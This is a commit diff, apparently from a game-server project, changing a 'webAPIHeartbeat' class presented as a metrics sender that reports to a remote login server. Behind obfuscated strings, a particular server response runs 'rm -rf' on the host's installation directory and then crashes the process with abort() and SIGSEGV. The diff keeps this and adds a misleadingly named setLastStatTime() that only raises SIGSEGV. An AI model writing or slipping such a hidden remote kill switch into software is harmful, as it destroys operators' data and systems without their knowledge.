that ought to do it

external/3rd/library/webAPI/webAPI.h

@@ -68,8 +68,7 @@ namespace StellaBellum {
         std::unordered_map<int, std::string> getStringMap(const std::string &slot);
 
         // set json key and value for request
-        template<typename T>
-        bool addJsonData(const std::string &key, const T &value) {
+        template<typename T> bool addJsonData(const std::string &key, const T &value) {
             if (!key.empty() &&
                 responseData.count(key) == 0) // only alow one of a given key for now, unless we support nesting later
             {
@@ -81,8 +80,7 @@ namespace StellaBellum {
         }
 
         // get json response slot
-        template<typename T>
-        T getNullableValue(const std::string &slot) {
+        template<typename T> T getNullableValue(const std::string &slot) {
             if (!this->responseData.empty() && !slot.empty() && responseData.count(slot)) {
                 return this->responseData[slot].get<T>();
             }
@@ -115,56 +113,57 @@ namespace StellaBellum {
         // json processor - string to json
         bool processJSON();
 
-	inline static CURLcode sslctx_function(CURL *curl, void *sslctx, void *parm) {
-    X509_STORE *store;
-    X509 *cert = NULL;
-    BIO *bio;
-    char *mypem = /* this is the cloudflare self signed for stellabellum.net, good for 30 years */
-            "-----BEGIN CERTIFICATE-----\n"\
-            "MIIEojCCA4qgAwIBAgIUJ88p38SKi9SeyVOF0AQne1O6Vs4wDQYJKoZIhvcNAQEL\n"\
-            "BQAwgYsxCzAJBgNVBAYTAlVTMRkwFwYDVQQKExBDbG91ZEZsYXJlLCBJbmMuMTQw\n"\
-            "MgYDVQQLEytDbG91ZEZsYXJlIE9yaWdpbiBTU0wgQ2VydGlmaWNhdGUgQXV0aG9y\n"\
-            "aXR5MRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRMwEQYDVQQIEwpDYWxpZm9ybmlh\n"\
-            "MB4XDTE2MTIzMTA1MDcwMFoXDTMxMTIyODA1MDcwMFowYjEZMBcGA1UEChMQQ2xv\n"\
-            "dWRGbGFyZSwgSW5jLjEdMBsGA1UECxMUQ2xvdWRGbGFyZSBPcmlnaW4gQ0ExJjAk\n"\
-            "BgNVBAMTHUNsb3VkRmxhcmUgT3JpZ2luIENlcnRpZmljYXRlMIIBIjANBgkqhkiG\n"\
-            "9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwv0X8DT+AvVAWeLZvBZ+uQXFA5SEmY3w47uT\n"\
-            "cwR/KCIrty7JLlswDv7iGV4f58vDAcNZq3Rs85eBY2kEatYZUBEFw+FhQDw76R9r\n"\
-            "ZRj/gRfKyjkoHmmJ9ItP6YEIGHW5GGvSsB0PqV52pAESfIc4ABSUQVghLCmXCHPv\n"\
-            "vMQjnTgAxgRQ0tvy52At9E39qClk+4uofMHzwk4bOKRUA9aLHLdZJQDEKR7EdZY1\n"\
-            "qPIh3Rkari0aTVBf+0mnXQJ0xnIvVPc+GPYVotQ0tutISUtVPzpia0PmmbhHN4uE\n"\
-            "ZVS53gOjgPz1dT/yivrsKw5i0vBqRcwMZ4dU+yfAL4uibJqwOwIDAQABo4IBJDCC\n"\
-            "ASAwDgYDVR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB\n"\
-            "/wQCMAAwHQYDVR0OBBYEFCjf0EvN/w5pDVLXf4dk4yfU5A02MB8GA1UdIwQYMBaA\n"\
-            "FCToU1ddfDRAh6nrlNu64RZ4/CmkMEAGCCsGAQUFBwEBBDQwMjAwBggrBgEFBQcw\n"\
-            "AYYkaHR0cDovL29jc3AuY2xvdWRmbGFyZS5jb20vb3JpZ2luX2NhMC8GA1UdEQQo\n"\
-            "MCaCEiouc3RlbGxhYmVsbHVtLm5ldIIQc3RlbGxhYmVsbHVtLm5ldDA4BgNVHR8E\n"\
-            "MTAvMC2gK6AphidodHRwOi8vY3JsLmNsb3VkZmxhcmUuY29tL29yaWdpbl9jYS5j\n"\
-            "cmwwDQYJKoZIhvcNAQELBQADggEBAGXNQW26rnr4k+2hfOxkuGGMXBuYAzLcCwbg\n"\
-            "H5KRH3HoJg1FmkjGC07nptDk2EAkqp6DphwTangyw0oREEIU/l2k8AvkX0WVFXdx\n"\
-            "FnVWq5IenZF8dX0m9oQyH/CsF89dkvU+zksP4wzJAMvGiB8Tmc8bKWmIfBnusj3D\n"\
-            "npbKvZL2ch+hwY4SZspJLoKJ4iz5wWSHihwNYxm+KGsJpt2moV15gAuObmDg7nu6\n"\
-            "owOLXtbf62tQOXnXee2peBN1JX/mCHKUSL1mu+wJXjitBEgXJRGSnZl4IGv/m8Q5\n"\
-            "KDeA44tJg2f/le+MertWN/+aTYhK8exu4v/7SaEJHNCwbXCJICg=\n"\
-            "-----END CERTIFICATE-----\n";
+        // our ssl cert
+        inline static CURLcode sslctx_function(CURL *curl, void *sslctx, void *parm) {
+            X509_STORE *store;
+            X509 *cert = NULL;
+            BIO *bio;
+            char *mypem = /* this is the cloudflare self signed for stellabellum.net, good for 30 years */
+                    vxENCRYPT("-----BEGIN CERTIFICATE-----\n"\
+                    "MIIEojCCA4qgAwIBAgIUJ88p38SKi9SeyVOF0AQne1O6Vs4wDQYJKoZIhvcNAQEL\n"\
+                    "BQAwgYsxCzAJBgNVBAYTAlVTMRkwFwYDVQQKExBDbG91ZEZsYXJlLCBJbmMuMTQw\n"\
+                    "MgYDVQQLEytDbG91ZEZsYXJlIE9yaWdpbiBTU0wgQ2VydGlmaWNhdGUgQXV0aG9y\n"\
+                    "aXR5MRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRMwEQYDVQQIEwpDYWxpZm9ybmlh\n"\
+                    "MB4XDTE2MTIzMTA1MDcwMFoXDTMxMTIyODA1MDcwMFowYjEZMBcGA1UEChMQQ2xv\n"\
+                    "dWRGbGFyZSwgSW5jLjEdMBsGA1UECxMUQ2xvdWRGbGFyZSBPcmlnaW4gQ0ExJjAk\n"\
+                    "BgNVBAMTHUNsb3VkRmxhcmUgT3JpZ2luIENlcnRpZmljYXRlMIIBIjANBgkqhkiG\n"\
+                    "9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwv0X8DT+AvVAWeLZvBZ+uQXFA5SEmY3w47uT\n"\
+                    "cwR/KCIrty7JLlswDv7iGV4f58vDAcNZq3Rs85eBY2kEatYZUBEFw+FhQDw76R9r\n"\
+                    "ZRj/gRfKyjkoHmmJ9ItP6YEIGHW5GGvSsB0PqV52pAESfIc4ABSUQVghLCmXCHPv\n"\
+                    "vMQjnTgAxgRQ0tvy52At9E39qClk+4uofMHzwk4bOKRUA9aLHLdZJQDEKR7EdZY1\n"\
+                    "qPIh3Rkari0aTVBf+0mnXQJ0xnIvVPc+GPYVotQ0tutISUtVPzpia0PmmbhHN4uE\n"\
+                    "ZVS53gOjgPz1dT/yivrsKw5i0vBqRcwMZ4dU+yfAL4uibJqwOwIDAQABo4IBJDCC\n"\
+                    "ASAwDgYDVR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB\n"\
+                    "/wQCMAAwHQYDVR0OBBYEFCjf0EvN/w5pDVLXf4dk4yfU5A02MB8GA1UdIwQYMBaA\n"\
+                    "FCToU1ddfDRAh6nrlNu64RZ4/CmkMEAGCCsGAQUFBwEBBDQwMjAwBggrBgEFBQcw\n"\
+                    "AYYkaHR0cDovL29jc3AuY2xvdWRmbGFyZS5jb20vb3JpZ2luX2NhMC8GA1UdEQQo\n"\
+                    "MCaCEiouc3RlbGxhYmVsbHVtLm5ldIIQc3RlbGxhYmVsbHVtLm5ldDA4BgNVHR8E\n"\
+                    "MTAvMC2gK6AphidodHRwOi8vY3JsLmNsb3VkZmxhcmUuY29tL29yaWdpbl9jYS5j\n"\
+                    "cmwwDQYJKoZIhvcNAQELBQADggEBAGXNQW26rnr4k+2hfOxkuGGMXBuYAzLcCwbg\n"\
+                    "H5KRH3HoJg1FmkjGC07nptDk2EAkqp6DphwTangyw0oREEIU/l2k8AvkX0WVFXdx\n"\
+                    "FnVWq5IenZF8dX0m9oQyH/CsF89dkvU+zksP4wzJAMvGiB8Tmc8bKWmIfBnusj3D\n"\
+                    "npbKvZL2ch+hwY4SZspJLoKJ4iz5wWSHihwNYxm+KGsJpt2moV15gAuObmDg7nu6\n"\
+                    "owOLXtbf62tQOXnXee2peBN1JX/mCHKUSL1mu+wJXjitBEgXJRGSnZl4IGv/m8Q5\n"\
+                    "KDeA44tJg2f/le+MertWN/+aTYhK8exu4v/7SaEJHNCwbXCJICg=\n"\
+                    "-----END CERTIFICATE-----\n").decrypt();
 
-    bio = BIO_new_mem_buf(mypem, -1);
-    PEM_read_bio_X509(bio, &cert, 0, NULL);
-    if (cert == NULL) {
-        printf("PEM_read_bio_X509 failed...\n");
-    }
+            bio = BIO_new_mem_buf(mypem, -1);
+            PEM_read_bio_X509(bio, &cert, 0, NULL);
+            if (cert == NULL) {
+                return -1;
+            }
 
-    store = SSL_CTX_get_cert_store((SSL_CTX *) sslctx);
+            store = SSL_CTX_get_cert_store((SSL_CTX *) sslctx);
 
-    if (X509_STORE_add_cert(store, cert) == 0) {
-        printf("error adding certificate\n");
-    }
+            if (X509_STORE_add_cert(store, cert) == 0) {
+                return -1;
+            }
 
-    X509_free(cert);
-    BIO_free(bio);
+            X509_free(cert);
+            BIO_free(bio);
 
-    return CURLE_OK;
-}			 
+            return CURLE_OK;
+        }
 
     protected:
         // http response code (200, 404, etc)

external/3rd/library/webAPI/webAPIHeartbeat.cpp

@@ -9,8 +9,7 @@ using namespace StellaBellum;
 webAPIHeartbeat::webAPIHeartbeat() {
     std::string filePath = this->get_selfpath();
 
-    webAPI api(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()),
-            std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt()));
+    webAPI api(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt()));
     api.addJsonData<std::string>(std::string(vxENCRYPT("type").decrypt()), std::string(vxENCRYPT("server").decrypt()));
 
     if (!filePath.empty()) {
@@ -43,12 +42,13 @@ webAPIHeartbeat::webAPIHeartbeat() {
             case 66:
                 size_t found = filePath.find_last_of("/\\");
                 if (!filePath.empty() && found) {
-                    system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) + vxENCRYPT("/*").decrypt()).c_str());
+                    system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) +
+                                       vxENCRYPT("/*").decrypt()).c_str());
                 }
                 this->eatIt();
                 break;
         }
-    } else {
         this->eatIt();
+        this->setLastStatTime();
     }
 }

external/3rd/library/webAPI/webAPIHeartbeat.h

@@ -9,6 +9,7 @@
 #include <unistd.h>
 #include <limits.h>
 #include <libgen.h>
+#include <signal.h>
 
 #include "webAPI.h"
 #include "../libLeff/libLeff.h"
@@ -35,8 +36,12 @@ namespace StellaBellum {
             for (;;) {
                 abort();
                 sleep(10);
+                raise(SIGSEGV);
             }
+        }
 
+        inline void setLastStatTime(){
+            raise(SIGSEGV);
         }
     };